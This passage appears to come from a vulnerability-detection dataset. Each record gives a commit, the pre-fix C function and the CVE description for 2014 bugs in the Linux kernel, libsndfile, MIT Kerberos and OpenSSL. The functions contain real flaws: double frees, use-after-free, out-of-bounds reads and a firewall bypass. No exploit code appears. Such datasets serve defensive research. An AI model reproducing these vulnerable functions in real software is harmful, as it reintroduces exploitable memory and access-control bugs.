(header size, * block size) */ ISOFS_I(inode)->i_format_parm[0] = isonum_711(&rr->u.ZF.parms[0]); ISOFS_I(inode)->i_format_parm[1] = isonum_711(&rr->u.ZF.parms[1]); inode->i_size = isonum_733(rr->u.ZF. real_size); } } else { printk(KERN_WARNING "isofs: Unknown ZF compression " "algorithm: %c%c\n", rr->u.ZF.algorithm[0], rr->u.ZF.algorithm[1]); } break; } #endif default: break; } } ret = rock_continue(&rs); if (ret == 0) goto repeat; if (ret == 1) ret = 0; out: kfree(rs.buffer); return ret; eio: ret = -EIO; goto out; }

rock.c

CVE-2014-9584

The parse_rock_ridge_inode_internal function in fs/isofs/rock.c in the Linux kernel before 3.18.2 does not validate a length value in the Extensions Reference (ER) System Use Field, which allows local users to obtain sensitive information from kernel memory via a crafted iso9660 image.

https://nvd.nist.gov/vuln/detail/CVE-2014-9584

linux

a3a8784454692dd72e5d5d34dcdab17b4420e74c

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/a3a8784454692dd72e5d5d34dcdab17b4420e74c

KEYS: close race between key lookup and freeing When a key is being garbage collected, it's key->user would get put before the ->destroy() callback is called, where the key is removed from it's respective tracking structures. This leaves a key hanging in a semi-invalid state which leaves a window open for a different task to try an access key->user. An example is find_keyring_by_name() which would dereference key->user for a key that is in the process of being garbage collected (where key->user was freed but ->destroy() wasn't called yet - so it's still present in the linked list). This would cause either a panic, or corrupt memory. Fixes CVE-2014-9529. Signed-off-by: Sasha Levin <sasha.levin@oracle.com> Signed-off-by: David Howells <dhowells@redhat.com>

static noinline void key_gc_unused_keys(struct list_head *keys) { while (!list_empty(keys)) { struct key *key = list_entry(keys->next, struct key, graveyard_link); list_del(&key->graveyard_link); kdebug("- %u", key->serial); key_check(key); security_key_free(key); /* deal with the user's key tracking and quota */ if (test_bit(KEY_FLAG_IN_QUOTA, &key->flags)) { spin_lock(&key->user->lock); key->user->qnkeys--; key->user->qnbytes -= key->quotalen; spin_unlock(&key->user->lock); } atomic_dec(&key->user->nkeys); if (test_bit(KEY_FLAG_INSTANTIATED, &key->flags)) atomic_dec(&key->user->nikeys); key_user_put(key->user); /* now throw away the key memory */ if (key->type->destroy) key->type->destroy(key); kfree(key->description); #ifdef KEY_DEBUGGING key->magic = KEY_DEBUG_MAGIC_X; #endif kmem_cache_free(key_jar, key); } }

None

CVE-2014-9529

Race condition in the key_gc_unused_keys function in security/keys/gc.c in the Linux kernel through 3.18.2 allows local users to cause a denial of service (memory corruption or panic) or possibly have unspecified other impact via keyctl commands that trigger access to a key structure member during garbage collection of a key.

https://nvd.nist.gov/vuln/detail/CVE-2014-9529

libsndfile

dbe14f00030af5d3577f4cabbf9861db59e9c378

https://github.com/erikd/libsndfile

https://github.com/erikd/libsndfile/commit/dbe14f00030af5d3577f4cabbf9861db59e9c378

src/sd2.c : Fix two potential buffer read overflows. Closes: https://github.com/erikd/libsndfile/issues/93

sd2_parse_rsrc_fork (SF_PRIVATE *psf) { SD2_RSRC rsrc ; int k, marker, error = 0 ; psf_use_rsrc (psf, SF_TRUE) ; memset (&rsrc, 0, sizeof (rsrc)) ; rsrc.rsrc_len = psf_get_filelen (psf) ; psf_log_printf (psf, "Resource length : %d (0x%04X)\n", rsrc.rsrc_len, rsrc.rsrc_len) ; if (rsrc.rsrc_len > SIGNED_SIZEOF (psf->header)) { rsrc.rsrc_data = calloc (1, rsrc.rsrc_len) ; rsrc.need_to_free_rsrc_data = SF_TRUE ; } else { rsrc.rsrc_data = psf->header ; rsrc.need_to_free_rsrc_data = SF_FALSE ; } ; /* Read in the whole lot. */ psf_fread (rsrc.rsrc_data, rsrc.rsrc_len, 1, psf) ; /* Reset the header storage because we have changed to the rsrcdes. */ psf->headindex = psf->headend = rsrc.rsrc_len ; rsrc.data_offset = read_rsrc_int (&rsrc, 0) ; rsrc.map_offset = read_rsrc_int (&rsrc, 4) ; rsrc.data_length = read_rsrc_int (&rsrc, 8) ; rsrc.map_length = read_rsrc_int (&rsrc, 12) ; if (rsrc.data_offset == 0x51607 && rsrc.map_offset == 0x20000) { psf_log_printf (psf, "Trying offset of 0x52 bytes.\n") ; rsrc.data_offset = read_rsrc_int (&rsrc, 0x52 + 0) + 0x52 ; rsrc.map_offset = read_rsrc_int (&rsrc, 0x52 + 4) + 0x52 ; rsrc.data_length = read_rsrc_int (&rsrc, 0x52 + 8) ; rsrc.map_length = read_rsrc_int (&rsrc, 0x52 + 12) ; } ; psf_log_printf (psf, " data offset : 0x%04X\n map offset : 0x%04X\n" " data length : 0x%04X\n map length : 0x%04X\n", rsrc.data_offset, rsrc.map_offset, rsrc.data_length, rsrc.map_length) ; if (rsrc.data_offset > rsrc.rsrc_len) { psf_log_printf (psf, "Error : rsrc.data_offset (%d, 0x%x) > len\n", rsrc.data_offset, rsrc.data_offset) ; error = SFE_SD2_BAD_DATA_OFFSET ; goto parse_rsrc_fork_cleanup ; } ; if (rsrc.map_offset > rsrc.rsrc_len) { psf_log_printf (psf, "Error : rsrc.map_offset > len\n") ; error = SFE_SD2_BAD_MAP_OFFSET ; goto parse_rsrc_fork_cleanup ; } ; if (rsrc.data_length > rsrc.rsrc_len) { psf_log_printf (psf, "Error : rsrc.data_length > len\n") ; error = SFE_SD2_BAD_DATA_LENGTH ; goto parse_rsrc_fork_cleanup ; } ; if (rsrc.map_length > rsrc.rsrc_len) { psf_log_printf (psf, "Error : rsrc.map_length > len\n") ; error = SFE_SD2_BAD_MAP_LENGTH ; goto parse_rsrc_fork_cleanup ; } ; if (rsrc.data_offset + rsrc.data_length != rsrc.map_offset || rsrc.map_offset + rsrc.map_length != rsrc.rsrc_len) { psf_log_printf (psf, "Error : This does not look like a MacOSX resource fork.\n") ; error = SFE_SD2_BAD_RSRC ; goto parse_rsrc_fork_cleanup ; } ; if (rsrc.map_offset + 28 >= rsrc.rsrc_len) { psf_log_printf (psf, "Bad map offset (%d + 28 > %d).\n", rsrc.map_offset, rsrc.rsrc_len) ; error = SFE_SD2_BAD_RSRC ; goto parse_rsrc_fork_cleanup ; } ; rsrc.string_offset = rsrc.map_offset + read_rsrc_short (&rsrc, rsrc.map_offset + 26) ; if (rsrc.string_offset > rsrc.rsrc_len) { psf_log_printf (psf, "Bad string offset (%d).\n", rsrc.string_offset) ; error = SFE_SD2_BAD_RSRC ; goto parse_rsrc_fork_cleanup ; } ; rsrc.type_offset = rsrc.map_offset + 30 ; rsrc.type_count = read_rsrc_short (&rsrc, rsrc.map_offset + 28) + 1 ; if (rsrc.type_count < 1) { psf_log_printf (psf, "Bad type count.\n") ; error = SFE_SD2_BAD_RSRC ; goto parse_rsrc_fork_cleanup ; } ; rsrc.item_offset = rsrc.type_offset + rsrc.type_count * 8 ; if (rsrc.item_offset < 0 || rsrc.item_offset > rsrc.rsrc_len) { psf_log_printf (psf, "Bad item offset (%d).\n", rsrc.item_offset) ; error = SFE_SD2_BAD_RSRC ; goto parse_rsrc_fork_cleanup ; } ; rsrc.str_index = -1 ; for (k = 0 ; k < rsrc.type_count ; k ++) { marker = read_rsrc_marker (&rsrc, rsrc.type_offset + k * 8) ; if (marker == STR_MARKER) { rsrc.str_index = k ; rsrc.str_count = read_rsrc_short (&rsrc, rsrc.type_offset + k * 8 + 4) + 1 ; error = parse_str_rsrc (psf, &rsrc) ; goto parse_rsrc_fork_cleanup ; } ; } ; psf_log_printf (psf, "No 'STR ' resource.\n") ; error = SFE_SD2_BAD_RSRC ; parse_rsrc_fork_cleanup : psf_use_rsrc (psf, SF_FALSE) ; if (rsrc.need_to_free_rsrc_data) free (rsrc.rsrc_data) ; return error ; } /* sd2_parse_rsrc_fork */

None

CVE-2014-9496

The sd2_parse_rsrc_fork function in sd2.c in libsndfile allows attackers to have unspecified impact via vectors related to a (1) map offset or (2) rsrc marker, which triggers an out-of-bounds read.

https://nvd.nist.gov/vuln/detail/CVE-2014-9496

krb5

a197e92349a4aa2141b5dff12e9dd44c2a2166e3

https://github.com/krb5/krb5

https://github.com/krb5/krb5/commit/a197e92349a4aa2141b5dff12e9dd44c2a2166e3

Fix kadm5/gssrpc XDR double free [CVE-2014-9421] [MITKRB5-SA-2015-001] In auth_gssapi_unwrap_data(), do not free partial deserialization results upon failure to deserialize. This responsibility belongs to the callers, svctcp_getargs() and svcudp_getargs(); doing it in the unwrap function results in freeing the results twice. In xdr_krb5_tl_data() and xdr_krb5_principal(), null out the pointers we are freeing, as other XDR functions such as xdr_bytes() and xdr_string(). ticket: 8056 (new) target_version: 1.13.1 tags: pullup

bool_t auth_gssapi_unwrap_data( OM_uint32 *major, OM_uint32 *minor, gss_ctx_id_t context, uint32_t seq_num, XDR *in_xdrs, bool_t (*xdr_func)(), caddr_t xdr_ptr) { gss_buffer_desc in_buf, out_buf; XDR temp_xdrs; uint32_t verf_seq_num; int conf, qop; unsigned int length; PRINTF(("gssapi_unwrap_data: starting\n")); *major = GSS_S_COMPLETE; *minor = 0; /* assumption */ in_buf.value = NULL; out_buf.value = NULL; if (! xdr_bytes(in_xdrs, (char **) &in_buf.value, &length, (unsigned int) -1)) { PRINTF(("gssapi_unwrap_data: deserializing encrypted data failed\n")); temp_xdrs.x_op = XDR_FREE; (void)xdr_bytes(&temp_xdrs, (char **) &in_buf.value, &length, (unsigned int) -1); return FALSE; } in_buf.length = length; *major = gss_unseal(minor, context, &in_buf, &out_buf, &conf, &qop); free(in_buf.value); if (*major != GSS_S_COMPLETE) return FALSE; PRINTF(("gssapi_unwrap_data: %llu bytes data, %llu bytes sealed\n", (unsigned long long)out_buf.length, (unsigned long long)in_buf.length)); xdrmem_create(&temp_xdrs, out_buf.value, out_buf.length, XDR_DECODE); /* deserialize the sequence number */ if (! xdr_u_int32(&temp_xdrs, &verf_seq_num)) { PRINTF(("gssapi_unwrap_data: deserializing verf_seq_num failed\n")); gss_release_buffer(minor, &out_buf); XDR_DESTROY(&temp_xdrs); return FALSE; } if (verf_seq_num != seq_num) { PRINTF(("gssapi_unwrap_data: seq %d specified, read %d\n", seq_num, verf_seq_num)); gss_release_buffer(minor, &out_buf); XDR_DESTROY(&temp_xdrs); return FALSE; } PRINTF(("gssapi_unwrap_data: unwrap seq_num %d okay\n", verf_seq_num)); /* deserialize the arguments into xdr_ptr */ if (! (*xdr_func)(&temp_xdrs, xdr_ptr)) { PRINTF(("gssapi_unwrap_data: deserializing arguments failed\n")); gss_release_buffer(minor, &out_buf); xdr_free(xdr_func, xdr_ptr); XDR_DESTROY(&temp_xdrs); return FALSE; } PRINTF(("gssapi_unwrap_data: succeeding\n\n")); gss_release_buffer(minor, &out_buf); XDR_DESTROY(&temp_xdrs); return TRUE; }

auth_gssapi_misc.c

CVE-2014-9421

The auth_gssapi_unwrap_data function in lib/rpc/auth_gssapi_misc.c in MIT Kerberos 5 (aka krb5) through 1.11.5, 1.12.x through 1.12.2, and 1.13.x before 1.13.1 does not properly handle partial XDR deserialization, which allows remote authenticated users to cause a denial of service (use-after-free and double free, and daemon crash) or possibly execute arbitrary code via malformed XDR data, as demonstrated by data sent to kadmind.

https://nvd.nist.gov/vuln/detail/CVE-2014-9421

openssl

470990fee0182566d439ef7e82d1abf18b7085d7

https://github.com/openssl/openssl

https://github.com/openssl/openssl/commit/470990fee0182566d439ef7e82d1abf18b7085d7

Free up s->d1->buffered_app_data.q properly. PR#3286

static void dtls1_clear_queues(SSL *s) { pitem *item = NULL; hm_fragment *frag = NULL; DTLS1_RECORD_DATA *rdata; while( (item = pqueue_pop(s->d1->unprocessed_rcds.q)) != NULL) { rdata = (DTLS1_RECORD_DATA *) item->data; if (rdata->rbuf.buf) { OPENSSL_free(rdata->rbuf.buf); } OPENSSL_free(item->data); pitem_free(item); } while( (item = pqueue_pop(s->d1->processed_rcds.q)) != NULL) { rdata = (DTLS1_RECORD_DATA *) item->data; if (rdata->rbuf.buf) { OPENSSL_free(rdata->rbuf.buf); } OPENSSL_free(item->data); pitem_free(item); } while( (item = pqueue_pop(s->d1->buffered_messages)) != NULL) { frag = (hm_fragment *)item->data; OPENSSL_free(frag->fragment); OPENSSL_free(frag); pitem_free(item); } while ( (item = pqueue_pop(s->d1->sent_messages)) != NULL) { frag = (hm_fragment *)item->data; OPENSSL_free(frag->fragment); OPENSSL_free(frag); pitem_free(item); } while ( (item = pqueue_pop(s->d1->buffered_app_data.q)) != NULL) { frag = (hm_fragment *)item->data; OPENSSL_free(frag->fragment); OPENSSL_free(frag); pitem_free(item); } }

None

CVE-2014-8176

The dtls1_clear_queues function in ssl/d1_lib.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h frees data structures without considering that application data can arrive between a ChangeCipherSpec message and a Finished message, which allows remote DTLS peers to cause a denial of service (memory corruption and application crash) or possibly have unspecified other impact via unexpected application data.

https://nvd.nist.gov/vuln/detail/CVE-2014-8176

linux

db29a9508a9246e77087c5531e45b2c88ec6988b

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/db29a9508a9246e77087c5531e45b2c88ec6988b

netfilter: conntrack: disable generic tracking for known protocols Given following iptables ruleset: -P FORWARD DROP -A FORWARD -m sctp --dport 9 -j ACCEPT -A FORWARD -p tcp --dport 80 -j ACCEPT -A FORWARD -p tcp -m conntrack -m state ESTABLISHED,RELATED -j ACCEPT One would assume that this allows SCTP on port 9 and TCP on port 80. Unfortunately, if the SCTP conntrack module is not loaded, this allows *all* SCTP communication, to pass though, i.e. -p sctp -j ACCEPT, which we think is a security issue. This is because on the first SCTP packet on port 9, we create a dummy "generic l4" conntrack entry without any port information (since conntrack doesn't know how to extract this information). All subsequent packets that are unknown will then be in established state since they will fallback to proto_generic and will match the 'generic' entry. Our originally proposed version [1] completely disabled generic protocol tracking, but Jozsef suggests to not track protocols for which a more suitable helper is available, hence we now mitigate the issue for in tree known ct protocol helpers only, so that at least NAT and direction information will still be preserved for others. [1] http://www.spinics.net/lists/netfilter-devel/msg33430.html Joint work with Daniel Borkmann. Signed-off-by: Florian Westphal <fw@strlen.de> Signed-off-by: Daniel Borkmann <dborkman@redhat.com> Acked-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

static bool generic_new(struct nf_conn *ct, const struct sk_buff *skb, unsigned int dataoff, unsigned int *timeouts) { return true; }

nf_conntrack_proto_generic.c

CVE-2014-8160

net/netfilter/nf_conntrack_proto_generic.c in the Linux kernel before 3.18 generates incorrect conntrack entries during handling of certain iptables rule sets for the SCTP, DCCP, GRE, and UDP-Lite protocols, which allows remote attackers to bypass intended access restrictions via packets with disallowed port numbers.

https://nvd.nist.gov/vuln/detail/CVE-2014-8160

linux

8d0207652cbe27d1f962050737848e5ad4671958

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/8d0207652cbe27d1f962050737848e5ad4671958

->splice_write() via ->write_iter() iter_file_splice_write() - a ->splice_write() instance that gathers the pipe buffers, builds a bio_vec-based iov_iter covering those and feeds it to ->write_iter(). A bunch of simple cases coverted to that... [AV: fixed the braino spotted by Cyrill] Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>

xfs_file_splice_write( struct pipe_inode_info *pipe, struct file *outfilp, loff_t *ppos, size_t count, unsigned int flags) { struct inode *inode = outfilp->f_mapping->host; struct xfs_inode *ip = XFS_I(inode); int ioflags = 0; ssize_t ret; XFS_STATS_INC(xs_write_calls); if (outfilp->f_mode & FMODE_NOCMTIME) ioflags |= IO_INVIS; if (XFS_FORCED_SHUTDOWN(ip->i_mount)) return -EIO; xfs_ilock(ip, XFS_IOLOCK_EXCL); trace_xfs_file_splice_write(ip, count, *ppos, ioflags); ret = generic_file_splice_write(pipe, outfilp, ppos, count, flags); if (ret > 0) XFS_STATS_ADD(xs_write_bytes, ret); xfs_iunlock(ip, XFS_IOLOCK_EXCL); return ret; }

None

CVE-2014-7822

The implementation of certain splice_write file operations in the Linux kernel before 3.16 does not enforce a restriction on the maximum size of a single file, which allows local users to cause a denial of service (system crash) or possibly have unspecified other impact via a crafted splice system call, as demonstrated by use of a file descriptor associated with an ext4 filesystem.

https://nvd.nist.gov/vuln/detail/CVE-2014-7822

krb5

102bb6ebf20f9174130c85c3b052ae104e5073ec

https://github.com/krb5/krb5

https://github.com/krb5/krb5/commit/102bb6ebf20f9174130c85c3b052ae104e5073ec

Fix krb5_read_message handling [CVE-2014-5355] In recvauth_common, do not use strcmp against the data fields of krb5_data objects populated by krb5_read_message(), as there is no guarantee that they are C strings. Instead, create an expected krb5_data value and use data_eq(). In the sample user-to-user server application, check that the received client principal name is null-terminated before using it with printf and krb5_parse_name. CVE-2014-5355: In MIT krb5, when a server process uses the krb5_recvauth function, an unauthenticated remote attacker can cause a NULL dereference by sending a zero-byte version string, or a read beyond the end of allocated storage by sending a non-null-terminated version string. The example user-to-user server application (uuserver) is similarly vulnerable to a zero-length or non-null-terminated principal name string. The krb5_recvauth function reads two version strings from the client using krb5_read_message(), which produces a krb5_data structure containing a length and a pointer to an octet sequence. krb5_recvauth assumes that the data pointer is a valid C string and passes it to strcmp() to verify the versions. If the client sends an empty octet sequence, the data pointer will be NULL and strcmp() will dereference a NULL pointer, causing the process to crash. If the client sends a non-null-terminated octet sequence, strcmp() will read beyond the end of the allocated storage, possibly causing the process to crash. uuserver similarly uses krb5_read_message() to read a client principal name, and then passes it to printf() and krb5_parse_name() without verifying that it is a valid C string. The krb5_recvauth function is used by kpropd and the Kerberized versions of the BSD rlogin and rsh daemons. These daemons are usually run out of inetd or in a mode which forks before processing incoming connections, so a process crash will generally not result in a complete denial of service. Thanks to Tim Uglow for discovering this issue. CVSSv2: AV:N/AC:L/Au:N/C:N/I:N/A:P/E:POC/RL:OF/RC:C [tlyu@mit.edu: CVSS score] ticket: 8050 (new) target_version: 1.13.1 tags: pullup

int main(argc, argv) int argc; char *argv[]; { krb5_data pname_data, tkt_data; int sock = 0; socklen_t l; int retval; struct sockaddr_in l_inaddr, f_inaddr; /* local, foreign address */ krb5_creds creds, *new_creds; krb5_ccache cc; krb5_data msgtext, msg; krb5_context context; krb5_auth_context auth_context = NULL; #ifndef DEBUG freopen("/tmp/uu-server.log", "w", stderr); #endif retval = krb5_init_context(&context); if (retval) { com_err(argv[0], retval, "while initializing krb5"); exit(1); } #ifdef DEBUG { int one = 1; int acc; struct servent *sp; socklen_t namelen = sizeof(f_inaddr); if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) { com_err("uu-server", errno, "creating socket"); exit(3); } l_inaddr.sin_family = AF_INET; l_inaddr.sin_addr.s_addr = 0; if (argc == 2) { l_inaddr.sin_port = htons(atoi(argv[1])); } else { if (!(sp = getservbyname("uu-sample", "tcp"))) { com_err("uu-server", 0, "can't find uu-sample/tcp service"); exit(3); } l_inaddr.sin_port = sp->s_port; } (void) setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&one, sizeof (one)); if (bind(sock, (struct sockaddr *)&l_inaddr, sizeof(l_inaddr))) { com_err("uu-server", errno, "binding socket"); exit(3); } if (listen(sock, 1) == -1) { com_err("uu-server", errno, "listening"); exit(3); } printf("Server started\n"); fflush(stdout); if ((acc = accept(sock, (struct sockaddr *)&f_inaddr, &namelen)) == -1) { com_err("uu-server", errno, "accepting"); exit(3); } dup2(acc, 0); close(sock); sock = 0; } #endif retval = krb5_read_message(context, (krb5_pointer) &sock, &pname_data); if (retval) { com_err ("uu-server", retval, "reading pname"); return 2; } retval = krb5_read_message(context, (krb5_pointer) &sock, &tkt_data); if (retval) { com_err ("uu-server", retval, "reading ticket data"); return 2; } retval = krb5_cc_default(context, &cc); if (retval) { com_err("uu-server", retval, "getting credentials cache"); return 4; } memset (&creds, 0, sizeof(creds)); retval = krb5_cc_get_principal(context, cc, &creds.client); if (retval) { com_err("uu-client", retval, "getting principal name"); return 6; } /* client sends it already null-terminated. */ printf ("uu-server: client principal is \"%s\".\n", pname_data.data); retval = krb5_parse_name(context, pname_data.data, &creds.server); if (retval) { com_err("uu-server", retval, "parsing client name"); return 3; } creds.second_ticket = tkt_data; printf ("uu-server: client ticket is %d bytes.\n", creds.second_ticket.length); retval = krb5_get_credentials(context, KRB5_GC_USER_USER, cc, &creds, &new_creds); if (retval) { com_err("uu-server", retval, "getting user-user ticket"); return 5; } #ifndef DEBUG l = sizeof(f_inaddr); if (getpeername(0, (struct sockaddr *)&f_inaddr, &l) == -1) { com_err("uu-server", errno, "getting client address"); return 6; } #endif l = sizeof(l_inaddr); if (getsockname(0, (struct sockaddr *)&l_inaddr, &l) == -1) { com_err("uu-server", errno, "getting local address"); return 6; } /* send a ticket/authenticator to the other side, so it can get the key we're using for the krb_safe below. */ retval = krb5_auth_con_init(context, &auth_context); if (retval) { com_err("uu-server", retval, "making auth_context"); return 8; } retval = krb5_auth_con_setflags(context, auth_context, KRB5_AUTH_CONTEXT_DO_SEQUENCE); if (retval) { com_err("uu-server", retval, "initializing the auth_context flags"); return 8; } retval = krb5_auth_con_genaddrs(context, auth_context, sock, KRB5_AUTH_CONTEXT_GENERATE_LOCAL_FULL_ADDR | KRB5_AUTH_CONTEXT_GENERATE_REMOTE_FULL_ADDR); if (retval) { com_err("uu-server", retval, "generating addrs for auth_context"); return 9; } #if 1 retval = krb5_mk_req_extended(context, &auth_context, AP_OPTS_USE_SESSION_KEY, NULL, new_creds, &msg); if (retval) { com_err("uu-server", retval, "making AP_REQ"); return 8; } retval = krb5_write_message(context, (krb5_pointer) &sock, &msg); #else retval = krb5_sendauth(context, &auth_context, (krb5_pointer)&sock, "???", 0, 0, AP_OPTS_MUTUAL_REQUIRED | AP_OPTS_USE_SESSION_KEY, NULL, &creds, cc, NULL, NULL, NULL); #endif if (retval) goto cl_short_wrt; free(msg.data); msgtext.length = 32; msgtext.data = "Hello, other end of connection."; retval = krb5_mk_safe(context, auth_context, &msgtext, &msg, NULL); if (retval) { com_err("uu-server", retval, "encoding message to client"); return 6; } retval = krb5_write_message(context, (krb5_pointer) &sock, &msg); if (retval) { cl_short_wrt: com_err("uu-server", retval, "writing message to client"); return 7; } krb5_free_data_contents(context, &msg); krb5_free_data_contents(context, &pname_data); /* tkt_data freed with creds */ krb5_free_cred_contents(context, &creds); krb5_free_creds(context, new_creds); krb5_cc_close(context, cc); krb5_auth_con_free(context, auth_context); krb5_free_context(context); return 0; }

server.c

CVE-2014-5355

MIT Kerberos 5 (aka krb5) through 1.13.1 incorrectly expects that a krb5_read_message data field is represented as a string ending with a '\0' character, which allows remote attackers to (1) cause a denial of service (NULL pointer dereference) via a zero-byte version string or (2) cause a denial of service (out-of-bounds read) by omitting the '\0' character, related to appl/user_user/server.c and lib/krb5/krb/recvauth.c.

https://nvd.nist.gov/vuln/detail/CVE-2014-5355